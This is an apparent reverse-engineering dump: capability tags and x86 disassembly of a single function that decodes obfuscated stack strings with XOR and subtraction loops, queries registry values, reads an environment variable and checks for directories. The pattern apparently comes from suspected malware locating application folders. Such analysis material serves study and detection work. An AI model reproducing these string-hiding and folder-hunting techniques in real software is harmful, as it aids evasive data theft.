Function at 0x40d1d4
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Query or enumerate registry value

Disassembly:
push 0x24c
mov eax, 0x41a625
call fcn.0041974f
lea ecx, [ebp - 0x160]
call fcn.004065b8
lea ecx, [ebp - 0x258]
call fcn.0040380e
movaps xmm0, xmmword [0x4022a0]
xor ebx, ebx
movups xmmword [ebp - 0x50], xmm0
mov dword [ebp - 0x40], 0x7b7a805a
mov ecx, ebx
mov dword [ebp - 0x3c], 0x764a746c
mov dword [ebp - 0x38], 0x6e706d75
mov byte [ebp - 0x34], bl
movsx eax, byte [ebp - 0x50]
and eax, 0x8000000f
jns 0x40d230
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x4f], al
inc ecx
cmp ecx, 0x1b
jb 0x40d220
lea eax, [ebp - 0x4f]
mov byte [ebp - 0x34], bl
push eax
lea ecx, [ebp - 0xbc]
call fcn.004035da
lea eax, [ebp - 0x123]
mov dword [ebp - 4], ebx
mov word [ebp - 0x124], 0x45
lea ecx, [ebp - 0x74]
push eax
mov byte [ebp - 0x123], bl
call fcn.004035da
mov byte [ebp - 4], 1
mov ecx, ebx
movaps xmm0, xmmword [0x4024f0]
movups xmmword [ebp - 0x120], xmm0
movaps xmm0, xmmword [0x4024a0]
movups xmmword [ebp - 0x110], xmm0
movaps xmm0, xmmword [0x4024e0]
movups xmmword [ebp - 0x100], xmm0
movaps xmm0, xmmword [0x401fb0]
movups xmmword [ebp - 0xf0], xmm0
movaps xmm0, xmmword [0x4020a0]
movups xmmword [ebp - 0xe0], xmm0
movaps xmm0, xmmword [0x401c80]
movups xmmword [ebp - 0xd0], xmm0
movsx eax, byte [ebp - 0x120]
and eax, 0x8000000f
jns 0x40d2da
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x11f], al
inc ecx
cmp ecx, 0x5e
jb 0x40d2c7
mov edx, dword [ebp - 0x154]
lea eax, [ebp - 0x128]
mov ecx, dword [ebp - 0x160]
push eax
lea eax, [ebp - 0x11f]
mov byte [ebp - 0xc1], bl
push eax
push SysReAllocString
call fcn.004064a5
call eax
movaps xmm0, xmmword [0x4023e0]
mov ecx, ebx
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x14], bl
movsx eax, byte [ebp - 0x24]
and eax, 0x8000000f
jns 0x40d333
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, 0xf
jb 0x40d323
mov esi, dword [sym.imp.ADVAPI32.dll_RegGetValueA]
lea eax, [ebp - 0x23]
push ebx
push ebx
push ebx
push 2
push eax
push ebx
push dword [ebp - 0x128]
mov byte [ebp - 0x14], bl
call esi
movaps xmm0, xmmword [0x4025b0]
mov ecx, ebx
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x14], bl
movsx eax, byte [ebp - 0x24]
and eax, 0x8000000f
jns 0x40d378
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, 0xf
jb 0x40d368
push ebx
lea eax, [ebp - 0x74]
mov byte [ebp - 0x14], bl
push eax
push ebx
push 2
lea eax, [ebp - 0x23]
push eax
push ebx
push dword [ebp - 0x128]
call esi
push dword [ebp - 0x128]
mov edx, dword [ebp - 0x150]
mov ecx, dword [ebp - 0x160]
call fcn.004064a5
call eax
cmp dword [ebp - 0x64], 0
je 0x40d493
cmp dword [ebp - 0x60], 0xf
lea eax, [ebp - 0x74]
cmova eax, dword [ebp - 0x74]
push eax
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryA]
test eax, eax
je 0x40d7ac
mov cl, 0x63
mov dword [ebp - 0x1c], 0x6373f63
mov dword [ebp - 0x18], 0x1104060f
mov eax, ebx
mov word [ebp - 0x14], 0xe02
mov byte [ebp - 0x12], bl
xor byte [ebp + eax - 0x1b], cl
inc eax
cmp eax, 9
jae 0x40d401
mov cl, byte [ebp - 0x1c]
jmp 0x40d3f2
lea eax, [ebp - 0x1b]
mov byte [ebp - 0x12], bl
push eax
lea edx, [ebp - 0xbc]
lea ecx, [ebp - 0x8c]
call fcn.00409d3e
pop ecx
mov byte [ebp - 4], 2
lea eax, [ebp - 0x8c]
cmp dword [ebp - 0x78], 0xf
mov edx, dword [ebp - 0x1e8]
cmova eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x258]
push ebx
push eax
call fcn.004064a5
call eax
movaps xmm0, xmmword [0x4021f0]
mov ecx, ebx
movups xmmword [ebp - 0x24], xmm0
mov word [ebp - 0x14], 0x5045
mov byte [ebp - 0x12], bl
movsx eax, byte [ebp - 0x24]
and eax, 0x8000000f
jns 0x40d46a
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, 0x11
jb 0x40d45a
lea eax, [ebp - 0x23]
mov byte [ebp - 0x12], bl
push eax
lea edx, [ebp - 0x74]
lea ecx, [ebp - 0xa4]
call fcn.00409d3e
pop ecx
mov byte [ebp - 4], 3
jmp 0x40d76c
movaps xmm0, xmmword [0x401d00]
xor ecx, ecx
push 0xa
movups xmmword [ebp - 0x5c], xmm0
pop ebx
movaps xmm0, xmmword [0x401d10]
movups xmmword [ebp - 0x4c], xmm0
mov dword [ebp - 0x3c], 0x51c080f
mov word [ebp - 0x38], 0x201d
mov byte [ebp - 0x36], bl
mov word [ebp - 0x35], 0x706
mov byte [ebp - 0x33], 0
mov al, byte [ebp - 0x5c]
xor byte [ebp + ecx - 0x5b], al
inc ecx
cmp ecx, 0x28
jb 0x40d4c8
mov edx, dword [ebp - 0x154]
lea eax, [ebp - 0x124]
mov ecx, dword [ebp - 0x160]
push eax
lea eax, [ebp - 0x5b]
mov byte [ebp - 0x33], 0
push eax
push SysReAllocString
call fcn.004064a5
call eax
xor eax, eax
push eax
push eax
push eax
push 2
push eax
push eax
push dword [ebp - 0x124]
call esi
xor ecx, ecx
lea eax, [ebp - 0x74]
push ecx
push eax
push ecx
push 2
push ecx
push ecx
push dword [ebp - 0x124]
call esi
push dword [ebp - 0x124]
mov edx, dword [ebp - 0x150]
mov ecx, dword [ebp - 0x160]
call fcn.004064a5
call eax
mov eax, dword [ebp - 0x64]
test eax, eax
jne 0x40d60f
mov cl, 0x10
mov dword [ebp - 0x1c], 0x60605110
mov dword [ebp - 0x18], 0x71647154
mov byte [ebp - 0x14], al
xor byte [ebp + eax - 0x1b], cl
inc eax
cmp eax, 7
jae 0x40d567
mov cl, byte [ebp - 0x1c]
jmp 0x40d558
lea eax, [ebp - 0x1b]
mov byte [ebp - 0x14], 0
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__dupenv_s]
add esp, 0xc
test eax, eax
jne 0x40d69b
mov edx, dword [ebp - 0x12c]
test edx, edx
je 0x40d69b
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40d59e
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x74]
call fcn.0040c331
movaps xmm0, xmmword [0x4021e0]
xor ecx, ecx
movups xmmword [ebp - 0x4c], xmm0
mov dword [ebp - 0x3c], 0x527a5649
mov dword [ebp - 0x38], 0x47524742
mov byte [ebp - 0x34], 0
mov al, byte [ebp - 0x4c]
xor byte [ebp + ecx - 0x4b], al
inc ecx
cmp ecx, 0x17
jb 0x40d5d0
lea ecx, [ebp - 0x4b]
mov byte [ebp - 0x34], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40d5e7
sub ecx, edx
lea eax, [ebp - 0x4b]
push ecx
push eax
lea ecx, [ebp - 0x74]
call fcn.00404849
push dword [ebp - 0x12c]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
jmp 0x40d69b
cmp dword [ebp - 0x60], 0xf
lea esi, [ebp - 0x74]
cmova esi, dword [ebp - 0x74]
dec eax
or edx, 0xffffffff
cmp eax, edx
mov ecx, edx
cmovb ecx, eax
add ecx, esi
jmp 0x40d62e
cmp ecx, esi
je 0x40d637
dec ecx
cmp byte [ecx], 0x5c
jne 0x40d629
mov edx, ecx
sub edx, esi
push edx
push 1
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp - 0x74]
call fcn.00405b16
mov edx, eax
mov byte [ebp - 4], 4
mov cl, 0x14
mov dword [ebp - 0x30], 0x70604814
xor eax, eax
mov dword [ebp - 0x2c], 0x756075
xor byte [ebp + eax - 0x2f], cl
inc eax
cmp eax, 6
jae 0x40d66d
mov cl, byte [ebp - 0x30]
jmp 0x40d65e
lea eax, [ebp - 0x2f]
mov byte [ebp - 0x29], 0
push eax
lea ecx, [ebp - 0x28]
call fcn.00405ea5
pop ecx
push eax
lea ecx, [ebp - 0x74]
call fcn.00405b98
lea ecx, [ebp - 0x28]
call fcn.0040357e
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 1
call fcn.0040357e
cmp dword [ebp - 0x60], 0xf
lea eax, [ebp - 0x74]
cmova eax, dword [ebp - 0x74]
push eax
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryA]
test eax, eax
je 0x40d7ac
mov byte [ebp - 0x1c], bl
xor eax, eax
mov dword [ebp - 0x1b], 0x666f5e56
mov dword [ebp - 0x17], 0x6b786d6f
mov word [ebp - 0x13], 0x67
xor byte [ebp + eax - 0x1b], bl
inc eax
cmp eax, 9
jae 0x40d6dd
mov bl, byte [ebp - 0x1c]
jmp 0x40d6ce
lea eax, [ebp - 0x1b]
xor ebx, ebx
push eax
lea edx, [ebp - 0xbc]
mov byte [ebp - 0x12], bl
lea ecx, [ebp - 0x8c]
call fcn.00409d3e
pop ecx
mov byte [ebp - 4], 5
lea eax, [ebp - 0x8c]
cmp dword [ebp - 0x78], 0xf
mov edx, dword [ebp - 0x1e8]
cmova eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x258]
push ebx
push eax
call fcn.004064a5
call eax
movaps xmm0, xmmword [0x4021c0]
mov ecx, ebx
movups xmmword [ebp - 0x24], xmm0
mov word [ebp - 0x14], 0x4e43
mov byte [ebp - 0x12], bl
movsx eax, byte [ebp - 0x24]
and eax, 0x8000000f
jns 0x40d748
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, 0x11
jb 0x40d738
lea eax, [ebp - 0x23]
mov byte [ebp - 0x12], bl
push eax
lea edx, [ebp - 0x74]
lea ecx, [ebp - 0xa4]
call fcn.00409d3e
pop ecx
mov byte [ebp - 4], 6
cmp dword [ebp - 0x78], 0xf
lea edx, [ebp - 0x8c]
lea ecx, [ebp - 0xa4]
cmova edx, dword [ebp - 0x8c]
cmp dword [ebp - 0x90], 0xf
cmova ecx, dword [ebp - 0xa4]
call fcn.00413cab
lea ecx, [ebp - 0xa4]
call fcn.0040357e
lea ecx, [ebp - 0x8c]
call fcn.0040357e
lea ecx, [ebp - 0x74]
call fcn.0040357e
lea ecx, [ebp - 0xbc]
call fcn.0040357e
call fcn.0041970d
ret